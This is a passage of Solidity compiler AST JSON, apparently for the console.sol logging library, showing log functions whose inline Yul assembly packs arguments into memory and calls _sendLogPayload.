ssionStatement","src":"208713:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208754:4:22","nodeType":"YulLiteral","src":"208754:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"208760:2:22","nodeType":"YulIdentifier","src":"208760:2:22"}],"functionName":{"name":"writeString","nativeSrc":"208742:11:22","nodeType":"YulIdentifier","src":"208742:11:22"},"nativeSrc":"208742:21:22","nodeType":"YulFunctionCall","src":"208742:21:22"},"nativeSrc":"208742:21:22","nodeType":"YulExpressionStatement","src":"208742:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40638,"isOffset":false,"isSlot":false,"src":"208317:2:22","valueSize":1},{"declaration":40641,"isOffset":false,"isSlot":false,"src":"208347:2:22","valueSize":1},{"declaration":40644,"isOffset":false,"isSlot":false,"src":"208377:2:22","valueSize":1},{"declaration":40647,"isOffset":false,"isSlot":false,"src":"208407:2:22","valueSize":1},{"declaration":40650,"isOffset":false,"isSlot":false,"src":"208437:2:22","valueSize":1},{"declaration":40653,"isOffset":false,"isSlot":false,"src":"208467:2:22","valueSize":1},{"declaration":40656,"isOffset":false,"isSlot":false,"src":"208497:2:22","valueSize":1},{"declaration":40628,"isOffset":false,"isSlot":false,"src":"208637:2:22","valueSize":1},{"declaration":40630,"isOffset":false,"isSlot":false,"src":"208760:2:22","valueSize":1},{"declaration":40632,"isOffset":false,"isSlot":false,"src":"208697:2:22","valueSize":1},{"declaration":40634,"isOffset":false,"isSlot":false,"src":"208726:2:22","valueSize":1}],"id":40658,"nodeType":"InlineAssembly","src":"207939:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40660,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"208798:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40661,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"208804:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40659,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"208782:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"208782:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40663,"nodeType":"ExpressionStatement","src":"208782:27:22"},{"AST":{"nativeSrc":"208828:214:22","nodeType":"YulBlock","src":"208828:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"208849:4:22","nodeType":"YulLiteral","src":"208849:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"208855:2:22","nodeType":"YulIdentifier","src":"208855:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208842:6:22","nodeType":"YulIdentifier","src":"208842:6:22"},"nativeSrc":"208842:16:22","nodeType":"YulFunctionCall","src":"208842:16:22"},"nativeSrc":"208842:16:22","nodeType":"YulExpressionStatement","src":"208842:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208878:4:22","nodeType":"YulLiteral","src":"208878:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"208884:2:22","nodeType":"YulIdentifier","src":"208884:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208871:6:22","nodeType":"YulIdentifier","src":"208871:6:22"},"nativeSrc":"208871:16:22","nodeType":"YulFunctionCall","src":"208871:16:22"},"nativeSrc":"208871:16:22","nodeType":"YulExpressionStatement","src":"208871:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208907:4:22","nodeType":"YulLiteral","src":"208907:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"208913:2:22","nodeType":"YulIdentifier","src":"208913:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208900:6:22","nodeType":"YulIdentifier","src":"208900:6:22"},"nativeSrc":"208900:16:22","nodeType":"YulFunctionCall","src":"208900:16:22"},"nativeSrc":"208900:16:22","nodeType":"YulExpressionStatement","src":"208900:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208936:4:22","nodeType":"YulLiteral","src":"208936:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"208942:2:22","nodeType":"YulIdentifier","src":"208942:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208929:6:22","nodeType":"YulIdentifier","src":"208929:6:22"},"nativeSrc":"208929:16:22","nodeType":"YulFunctionCall","src":"208929:16:22"},"nativeSrc":"208929:16:22","nodeType":"YulExpressionStatement","src":"208929:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208965:4:22","nodeType":"YulLiteral","src":"208965:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"208971:2:22","nodeType":"YulIdentifier","src":"208971:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208958:6:22","nodeType":"YulIdentifier","src":"208958:6:22"},"nativeSrc":"208958:16:22","nodeType":"YulFunctionCall","src":"208958:16:22"},"nativeSrc":"208958:16:22","nodeType":"YulExpressionStatement","src":"208958:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208994:4:22","nodeType":"YulLiteral","src":"208994:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"209000:2:22","nodeType":"YulIdentifier","src":"209000:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208987:6:22","nodeType":"YulIdentifier","src":"208987:6:22"},"nativeSrc":"208987:16:22","nodeType":"YulFunctionCall","src":"208987:16:22"},"nativeSrc":"208987:16:22","nodeType":"YulExpressionStatement","src":"208987:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"209023:4:22","nodeType":"YulLiteral","src":"209023:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"209029:2:22","nodeType":"YulIdentifier","src":"209029:2:22"}],"functionName":{"name":"mstore","nativeSrc":"209016:6:22","nodeType":"YulIdentifier","src":"209016:6:22"},"nativeSrc":"209016:16:22","nodeType":"YulFunctionCall","src":"209016:16:22"},"nativeSrc":"209016:16:22","nodeType":"YulExpressionStatement","src":"209016:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40638,"isOffset":false,"isSlot":false,"src":"208855:2:22","valueSize":1},{"declaration":40641,"isOffset":false,"isSlot":false,"src":"208884:2:22","valueSize":1},{"declaration":40644,"isOffset":false,"isSlot":false,"src":"208913:2:22","valueSize":1},{"declaration":40647,"isOffset":false,"isSlot":false,"src":"208942:2:22","valueSize":1},{"declaration":40650,"isOffset":false,"isSlot":false,"src":"208971:2:22","valueSize":1},{"declaration":40653,"isOffset":false,"isSlot":false,"src":"209000:2:22","valueSize":1},{"declaration":40656,"isOffset":false,"isSlot":false,"src":"209029:2:22","valueSize":1}],"id":40664,"nodeType":"InlineAssembly","src":"208819:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"207729:3:22","parameters":{"id":40635,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40628,"mutability":"mutable","name":"p0","nameLocation":"207738:2:22","nodeType":"VariableDeclaration","scope":40666,"src":"207733:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40627,"name":"bool","nodeType":"ElementaryTypeName","src":"207733:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40630,"mutability":"mutable","name":"p1","nameLocation":"207750:2:22","nodeType":"VariableDeclaration","scope":40666,"src":"207742:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40629,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207742:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40632,"mutability":"mutable","name":"p2","nameLocation":"207762:2:22","nodeType":"VariableDeclaration","scope":40666,"src":"207754:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40631,"name":"address","nodeType":"ElementaryTypeName","src":"207754:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40634,"mutability":"mutable","name":"p3","nameLocation":"207771:2:22","nodeType":"VariableDeclaration","scope":40666,"src":"207766:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40633,"name":"bool","nodeType":"ElementaryTypeName","src":"207766:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"207732:42:22"},"returnParameters":{"id":40636,"nodeType":"ParameterList","parameters":[],"src":"207789:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40706,"nodeType":"FunctionDefinition","src":"209054:1334:22","nodes":[],"body":{"id":40705,"nodeType":"Block","src":"209126:1262:22","nodes":[],"statements":[{"assignments":[40678],"declarations":[{"constant":false,"id":40678,"mutability":"mutable","name":"m0","nameLocation":"209144:2:22","nodeType":"VariableDeclaration","scope":40705,"src":"209136:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40677,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209136:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40679,"nodeType":"VariableDeclarationStatement","src":"209136:10:22"},{"assignments":[40681],"declarations":[{"constant":false,"id":40681,"mutability":"mutable","name":"m1","nameLocation":"209164:2:22","nodeType":"VariableDeclaration","scope":40705,"src":"209156:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40680,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209156:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40682,"nodeType":"VariableDeclarationStatement","src":"209156:10:22"},{"assignments":[40684],"declarations":[{"constant":false,"id":40684,"mutability":"mutable","name":"m2","nameLocation":"209184:2:22","nodeType":"VariableDeclaration","scope":40705,"src":"209176:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40683,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209176:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40685,"nodeType":"VariableDeclarationStatement","src":"209176:10:22"},{"assignments":[40687],"declarations":[{"constant":false,"id":40687,"mutability":"mutable","name":"m3","nameLocation":"209204:2:22","nodeType":"VariableDeclaration","scope":40705,"src":"209196:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40686,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209196:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40688,"nodeType":"VariableDeclarationStatement","src":"209196:10:22"},{"assignments":[40690],"declarations":[{"constant":false,"id":40690,"mutability":"mutable","name":"m4","nameLocation":"209224:2:22","nodeType":"VariableDeclaration","scope":40705,"src":"209216:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40689,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209216:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40691,"nodeType":"VariableDeclarationStatement","src":"209216:10:22"},{"assignments":[40693],"declarations":[{"constant":false,"id":40693,"mutability":"mutable","name":"m5","nameLocation":"209244:2:22","nodeType":"VariableDeclaration","scope":40705,"src":"209236:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40692,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209236:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40694,"nodeType":"VariableDeclarationStatement","src":"209236:10:22"},{"assignments":[40696],"declarations":[{"constant":false,"id":40696,"mutability":"mutable","name":"m6","nameLocation":"209264:2:22","nodeType":"VariableDeclaration","scope":40705,"src":"209256:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40695,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209256:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40697,"nodeType":"VariableDeclarationStatement","src":"209256:10:22"},{"AST":{"nativeSrc":"209285:828:22","nodeType":"YulBlock","src":"209285:828:22","statements":[{"body":{"nativeSrc":"209328:313:22","nodeType":"YulBlock","src":"209328:313:22","statements":[{"nativeSrc":"209346:15:22","nodeType":"YulVariableDeclaration","src":"209346:15:22","value":{"kind":"number","nativeSrc":"209360:1:22","nodeType":"YulLiteral","src":"209360:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"209350:6:22","nodeType":"YulTypedName","src":"209350:6:22","type":""}]},{"body":{"nativeSrc":"209431:40:22","nodeType":"YulBlock","src":"209431:40:22","statements":[{"body":{"nativeSrc":"209460:9:22","nodeType":"YulBlock","src":"209460:9:22","statements":[{"nativeSrc":"209462:5:22","nodeType":"YulBreak","src":"209462:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"209448:6:22","nodeType":"YulIdentifier","src":"209448:6:22"},{"name":"w","nativeSrc":"209456:1:22","nodeType":"YulIdentifier","src":"209456:1:22"}],"functionName":{"name":"byte","nativeSrc":"209443:4:22","nodeType":"YulIdentifier","src":"209443:4:22"},"nativeSrc":"209443:15:22","nodeType":"YulFunctionCall","src":"209443:15:22"}],"functionName":{"name":"iszero","nativeSrc":"209436:6:22","nodeType":"YulIdentifier","src":"209436:6:22"},"nativeSrc":"209436:23:22","nodeType":"YulFunctionCall","src":"209436:23:22"},"nativeSrc":"209433:36:22","nodeType":"YulIf","src":"209433:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"209388:6:22","nodeType":"YulIdentifier","src":"209388:6:22"},{"kind":"number","nativeSrc":"209396:4:22","nodeType":"YulLiteral","src":"209396:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"209385:2:22","nodeType":"YulIdentifier","src":"209385:2:22"},"nativeSrc":"209385:16:22","nodeType":"YulFunctionCall","src":"209385:16:22"},"nativeSrc":"209378:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"209402:28:22","nodeType":"YulBlock","src":"209402:28:22","statements":[{"nativeSrc":"209404:24:22","nodeType":"YulAssignment","src":"209404:24:22","value":{"arguments":[{"name":"length","nativeSrc":"209418:6:22","nodeType":"YulIdentifier","src":"209418:6:22"},{"kind":"number","nativeSrc":"209426:1:22","nodeType":"YulLiteral","src":"209426:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"209414:3:22","nodeType":"YulIdentifier","src":"209414:3:22"},"nativeSrc":"209414:14:22","nodeType":"YulFunctionCall","src":"209414:14:22"},"variableNames":[{"name":"length","nativeSrc":"209404:6:22","nodeType":"YulIdentifier","src":"209404:6:22"}]}]},"pre":{"nativeSrc":"209382:2:22","nodeType":"YulBlock","src":"209382:2:22","statements":[]},"src":"209378:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"209495:3:22","nodeType":"YulIdentifier","src":"209495:3:22"},{"name":"length","nativeSrc":"209500:6:22","nodeType":"YulIdentifier","src":"209500:6:22"}],"functionName":{"name":"mstore","nativeSrc":"209488:6:22","nodeType":"YulIdentifier","src":"209488:6:22"},"nativeSrc":"209488:19:22","nodeType":"YulFunctionCall","src":"209488:19:22"},"nativeSrc":"209488:19:22","nodeType":"YulExpressionStatement","src":"209488:19:22"},{"nativeSrc":"209524:37:22","nodeType":"YulVariableDeclaration","src":"209524:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"209541:3:22","nodeType":"YulLiteral","src":"209541:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"209550:1:22","nodeType":"YulLiteral","src":"209550:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"209553:6:22","nodeType":"YulIdentifier","src":"209553:6:22"}],"functionName":{"name":"shl","nativeSrc":"209546:3:22","nodeType":"YulIdentifier","src":"209546:3:22"},"nativeSrc":"209546:14:22","nodeType":"YulFunctionCall","src":"209546:14:22"}],"functionName":{"name":"sub","nativeSrc":"209537:3:22","nodeType":"YulIdentifier","src":"209537:3:22"},"nativeSrc":"209537:24:22","nodeType":"YulFunctionCall","src":"209537:24:22"},"variables":[{"name":"shift","nativeSrc":"209528:5:22","nodeType":"YulTypedName","src":"209528:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"209589:3:22","nodeType":"YulIdentifier","src":"209589:3:22"},{"kind":"number","nativeSrc":"209594:4:22","nodeType":"YulLiteral","src":"209594:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"209585:3:22","nodeType":"YulIdentifier","src":"209585:3:22"},"nativeSrc":"209585:14:22","nodeType":"YulFunctionCall","src":"209585:14:22"},{"arguments":[{"name":"shift","nativeSrc":"209605:5:22","nodeType":"YulIdentifier","src":"209605:5:22"},{"arguments":[{"name":"shift","nativeSrc":"209616:5:22","nodeType":"YulIdentifier","src":"209616:5:22"},{"name":"w","nativeSrc":"209623:1:22","nodeType":"YulIdentifier","src":"209623:1:22"}],"functionName":{"name":"shr","nativeSrc":"209612:3:22","nodeType":"YulIdentifier","src":"209612:3:22"},"nativeSrc":"209612:13:22","nodeType":"YulFunctionCall","src":"209612:13:22"}],"functionName":{"name":"shl","nativeSrc":"209601:3:22","nodeType":"YulIdentifier","src":"209601:3:22"},"nativeSrc":"209601:25:22","nodeType":"YulFunctionCall","src":"209601:25:22"}],"functionName":{"name":"mstore","nativeSrc":"209578:6:22","nodeType":"YulIdentifier","src":"209578:6:22"},"nativeSrc":"209578:49:22","nodeType":"YulFunctionCall","src":"209578:49:22"},"nativeSrc":"209578:49:22","nodeType":"YulExpressionStatement","src":"209578:49:22"}]},"name":"writeString","nativeSrc":"209299:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"209320:3:22","nodeType":"YulTypedName","src":"209320:3:22","type":""},{"name":"w","nativeSrc":"209325:1:22","nodeType":"YulTypedName","src":"209325:1:22","type":""}],"src":"209299:342:22"},{"nativeSrc":"209654:17:22","nodeType":"YulAssignment","src":"209654:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"209666:4:22","nodeType":"YulLiteral","src":"209666:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"209660:5:22","nodeType":"YulIdentifier","src":"209660:5:22"},"nativeSrc":"209660:11:22","nodeType":"YulFunctionCall","src":"209660:11:22"},"variableNames":[{"name":"m0","nativeSrc":"209654:2:22","nodeType":"YulIdentifier","src":"209654:2:22"}]},{"nativeSrc":"209684:17:22","nodeType":"YulAssignment","src":"209684:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"209696:4:22","nodeType":"YulLiteral","src":"209696:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"209690:5:22","nodeType":"YulIdentifier","src":"209690:5:22"},"nativeSrc":"209690:11:22","nodeType":"YulFunctionCall","src":"209690:11:22"},"variableNames":[{"name":"m1","nativeSrc":"209684:2:22","nodeType":"YulIdentifier","src":"209684:2:22"}]},{"nativeSrc":"209714:17:22","nodeType":"YulAssignment","src":"209714:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"209726:4:22","nodeType":"YulLiteral","src":"209726:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"209720:5:22","nodeType":"YulIdentifier","src":"209720:5:22"},"nativeSrc":"209720:11:22","nodeType":"YulFunctionCall","src":"209720:11:22"},"variableNames":[{"name":"m2","nativeSrc":"209714:2:22","nodeType":"YulIdentifier","src":"209714:2:22"}]},{"nativeSrc":"209744:17:22","nodeType":"YulAssignment","src":"209744:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"209756:4:22","nodeType":"YulLiteral","src":"209756:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"209750:5:22","nodeType":"YulIdentifier","src":"209750:5:22"},"nativeSrc":"209750:11:22","nodeType":"YulFunctionCall","src":"209750:11:22"},"variableNames":[{"name":"m3","nativeSrc":"209744:2:22","nodeType":"YulIdentifier","src":"209744:2:22"}]},{"nativeSrc":"209774:17:22","nodeType":"YulAssignment","src":"209774:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"209786:4:22","nodeType":"YulLiteral","src":"209786:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"209780:5:22","nodeType":"YulIdentifier","src":"209780:5:22"},"nativeSrc":"209780:11:22","nodeType":"YulFunctionCall","src":"209780:11:22"},"variableNames":[{"name":"m4","nativeSrc":"209774:2:22","nodeType":"YulIdentifier","src":"209774:2:22"}]},{"nativeSrc":"209804:17:22","nodeType":"YulAssignment","src":"209804:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"209816:4:22","nodeType":"YulLiteral","src":"209816:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"209810:5:22","nodeType":"YulIdentifier","src":"209810:5:22"},"nativeSrc":"209810:11:22","nodeType":"YulFunctionCall","src":"209810:11:22"},"variableNames":[{"name":"m5","nativeSrc":"209804:2:22","nodeType":"YulIdentifier","src":"209804:2:22"}]},{"nativeSrc":"209834:17:22","nodeType":"YulAssignment","src":"209834:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"209846:4:22","nodeType":"YulLiteral","src":"209846:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"209840:5:22","nodeType":"YulIdentifier","src":"209840:5:22"},"nativeSrc":"209840:11:22","nodeType":"YulFunctionCall","src":"209840:11:22"},"variableNames":[{"name":"m6","nativeSrc":"209834:2:22","nodeType":"YulIdentifier","src":"209834:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"209934:4:22","nodeType":"YulLiteral","src":"209934:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"209940:10:22","nodeType":"YulLiteral","src":"209940:10:22","type":"","value":"0xa5cada94"}],"functionName":{"name":"mstore","nativeSrc":"209927:6:22","nodeType":"YulIdentifier","src":"209927:6:22"},"nativeSrc":"209927:24:22","nodeType":"YulFunctionCall","src":"209927:24:22"},"nativeSrc":"209927:24:22","nodeType":"YulExpressionStatement","src":"209927:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"209971:4:22","nodeType":"YulLiteral","src":"209971:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"209977:2:22","nodeType":"YulIdentifier","src":"209977:2:22"}],"functionName":{"name":"mstore","nativeSrc":"209964:6:22","nodeType":"YulIdentifier","src":"209964:6:22"},"nativeSrc":"209964:16:22","nodeType":"YulFunctionCall","src":"209964:16:22"},"nativeSrc":"209964:16:22","nodeType":"YulExpressionStatement","src":"209964:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210000:4:22","nodeType":"YulLiteral","src":"210000:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"210006:4:22","nodeType":"YulLiteral","src":"210006:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"209993:6:22","nodeType":"YulIdentifier","src":"209993:6:22"},"nativeSrc":"209993:18:22","nodeType":"YulFunctionCall","src":"209993:18:22"},"nativeSrc":"209993:18:22","nodeType":"YulExpressionStatement","src":"209993:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210031:4:22","nodeType":"YulLiteral","src":"210031:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"210037:2:22","nodeType":"YulIdentifier","src":"210037:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210024:6:22","nodeType":"YulIdentifier","src":"210024:6:22"},"nativeSrc":"210024:16:22","nodeType":"YulFunctionCall","src":"210024:16:22"},"nativeSrc":"210024:16:22","nodeType":"YulExpressionStatement","src":"210024:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210060:4:22","nodeType":"YulLiteral","src":"210060:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"210066:2:22","nodeType":"YulIdentifier","src":"210066:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210053:6:22","nodeType":"YulIdentifier","src":"210053:6:22"},"nativeSrc":"210053:16:22","nodeType":"YulFunctionCall","src":"210053:16:22"},"nativeSrc":"210053:16:22","nodeType":"YulExpressionStatement","src":"210053:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210094:4:22","nodeType":"YulLiteral","src":"210094:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"210100:2:22","nodeType":"YulIdentifier","src":"210100:2:22"}],"functionName":{"name":"writeString","nativeSrc":"210082:11:22","nodeType":"YulIdentifier","src":"210082:11:22"},"nativeSrc":"210082:21:22","nodeType":"YulFunctionCall","src":"210082:21:22"},"nativeSrc":"210082:21:22","nodeType":"YulExpressionStatement","src":"210082:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40678,"isOffset":false,"isSlot":false,"src":"209654:2:22","valueSize":1},{"declaration":40681,"isOffset":false,"isSlot":false,"src":"209684:2:22","valueSize":1},{"declaration":40684,"isOffset":false,"isSlot":false,"src":"209714:2:22","valueSize":1},{"declaration":40687,"isOffset":false,"isSlot":false,"src":"209744:2:22","valueSize":1},{"declaration":40690,"isOffset":false,"isSlot":false,"src":"209774:2:22","valueSize":1},{"declaration":40693,"isOffset":false,"isSlot":false,"src":"209804:2:22","valueSize":1},{"declaration":40696,"isOffset":false,"isSlot":false,"src":"209834:2:22","valueSize":1},{"declaration":40668,"isOffset":false,"isSlot":false,"src":"209977:2:22","valueSize":1},{"declaration":40670,"isOffset":false,"isSlot":false,"src":"210100:2:22","valueSize":1},{"declaration":40672,"isOffset":false,"isSlot":false,"src":"210037:2:22","valueSize":1},{"declaration":40674,"isOffset":false,"isSlot":false,"src":"210066:2:22","valueSize":1}],"id":40698,"nodeType":"InlineAssembly","src":"209276:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40700,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"210138:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"210144:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40699,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"210122:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40702,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"210122:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40703,"nodeType":"ExpressionStatement","src":"210122:27:22"},{"AST":{"nativeSrc":"210168:214:22","nodeType":"YulBlock","src":"210168:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"210189:4:22","nodeType":"YulLiteral","src":"210189:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"210195:2:22","nodeType":"YulIdentifier","src":"210195:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210182:6:22","nodeType":"YulIdentifier","src":"210182:6:22"},"nativeSrc":"210182:16:22","nodeType":"YulFunctionCall","src":"210182:16:22"},"nativeSrc":"210182:16:22","nodeType":"YulExpressionStatement","src":"210182:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210218:4:22","nodeType":"YulLiteral","src":"210218:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"210224:2:22","nodeType":"YulIdentifier","src":"210224:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210211:6:22","nodeType":"YulIdentifier","src":"210211:6:22"},"nativeSrc":"210211:16:22","nodeType":"YulFunctionCall","src":"210211:16:22"},"nativeSrc":"210211:16:22","nodeType":"YulExpressionStatement","src":"210211:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210247:4:22","nodeType":"YulLiteral","src":"210247:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"210253:2:22","nodeType":"YulIdentifier","src":"210253:2:22"}],"functionName":{"name":"mstore","nativeSrc":"